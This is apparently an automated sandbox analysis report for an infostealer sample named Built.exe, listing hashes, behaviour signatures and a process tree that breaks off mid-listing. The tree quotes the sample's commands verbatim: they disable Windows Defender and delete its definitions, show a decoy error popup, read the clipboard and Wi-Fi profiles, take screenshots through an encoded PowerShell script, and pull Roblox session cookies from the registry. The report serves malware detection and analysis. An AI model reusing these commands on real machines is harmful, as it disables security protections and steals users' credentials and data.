Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    87s
  • max time network
    89s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250113-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    24/01/2025, 18:45

Errors

Reason
Machine shutdown

General

  • Target

    Built.exe

  • Size

    6.9MB

  • MD5

    5796785fdb5c5cc50cfe3942adcc2205

  • SHA1

    d3d9de44cd097a1d2b43e30be289bb26e5e478a8

  • SHA256

    434d600457d5a63c4224988fc56d84967d428c222b3cfbf23595cbb77a073cf2

  • SHA512

    3f90166920f44e2c4c72b5ac728cd4e9237e93d321b0366d74614b5fb72339babaec626a3b134dd9ed6afe7cdbbdddf90aa2d963b2c234776e4832f13d82f655

  • SSDEEP

    98304:XEDjWM8JEE1Fq4amaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRiYRJJcGhEIFI:XE0U5eNTfm/pf+xk4dWRimrbW3jmyL

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 2 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 6 IoCs
  • Clipboard Data 1 TTPs 4 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 34 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 10 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 6 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 2 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:716
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2456
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5032
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3616
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2844
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:3628
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('This file is incompatible with your current build of windows!', 0, 'Incompatible', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3372
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('This file is incompatible with your current build of windows!', 0, 'Incompatible', 0+16);close()"
          4⤵
            PID:1936
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4616
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2608
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4436
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4192
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2024
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:2628
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2096
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:324
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4240
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                PID:3048
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2028
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                PID:1560
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1740
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‎ .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3824
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:224
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:4592
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4816
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:1368
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:1984
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1940
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                3⤵
                • Clipboard Data
                PID:4252
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Get-Clipboard
                  4⤵
                  • Clipboard Data
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1816
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                  PID:4628
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FO LIST
                    4⤵
                    • Enumerates processes with tasklist
                    PID:4528
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                    PID:772
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:2056
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                      3⤵
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:4996
                      • C:\Windows\system32\netsh.exe
                        netsh wlan show profile
                        4⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:4868
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "systeminfo"
                      3⤵
                        PID:2988
                        • C:\Windows\system32\systeminfo.exe
                          systeminfo
                          4⤵
                          • Gathers system information
                          PID:4588
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                        3⤵
                          PID:4980
                          • C:\Windows\system32\reg.exe
                            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                            4⤵
                              PID:2608
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                            3⤵
                              PID:4968
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2076
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qegr3dsy\qegr3dsy.cmdline"
                                  5⤵
                                    PID:1640
                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6AEF.tmp" "c:\Users\Admin\AppData\Local\Temp\qegr3dsy\CSCF6E7767E976C4D03BF916CA564EDACAF.TMP"
                                      6⤵
                                        PID:820
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                  3⤵
                                    PID:4132
                                    • C:\Windows\system32\tree.com
                                      tree /A /F
                                      4⤵
                                        PID:1304
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                      3⤵
                                        PID:2844
                                        • C:\Windows\system32\attrib.exe
                                          attrib -r C:\Windows\System32\drivers\etc\hosts
                                          4⤵
                                          • Drops file in Drivers directory
                                          • Views/modifies file attributes
                                          PID:5096
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                        3⤵
                                          PID:4564
                                          • C:\Windows\system32\attrib.exe
                                            attrib +r C:\Windows\System32\drivers\etc\hosts
                                            4⤵
                                            • Drops file in Drivers directory
                                            • Views/modifies file attributes
                                            PID:4380
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          3⤵
                                            PID:2072
                                            • C:\Windows\system32\tree.com
                                              tree /A /F
                                              4⤵
                                                PID:2288
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                              3⤵
                                                PID:3880
                                                • C:\Windows\system32\tasklist.exe
                                                  tasklist /FO LIST
                                                  4⤵
                                                  • Enumerates processes with tasklist
                                                  PID:3132
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                3⤵
                                                  PID:3876
                                                  • C:\Windows\system32\tree.com
                                                    tree /A /F
                                                    4⤵
                                                      PID:776
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                    3⤵
                                                      PID:4024
                                                      • C:\Windows\system32\tree.com
                                                        tree /A /F
                                                        4⤵
                                                          PID:3488
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        3⤵
                                                          PID:3092
                                                          • C:\Windows\System32\Conhost.exe
                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            4⤵
                                                              PID:2096
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              4⤵
                                                                PID:4820
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:1592
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:2128
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                3⤵
                                                                  PID:1776
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:4192
                                                                • C:\Windows\system32\cmd.exe
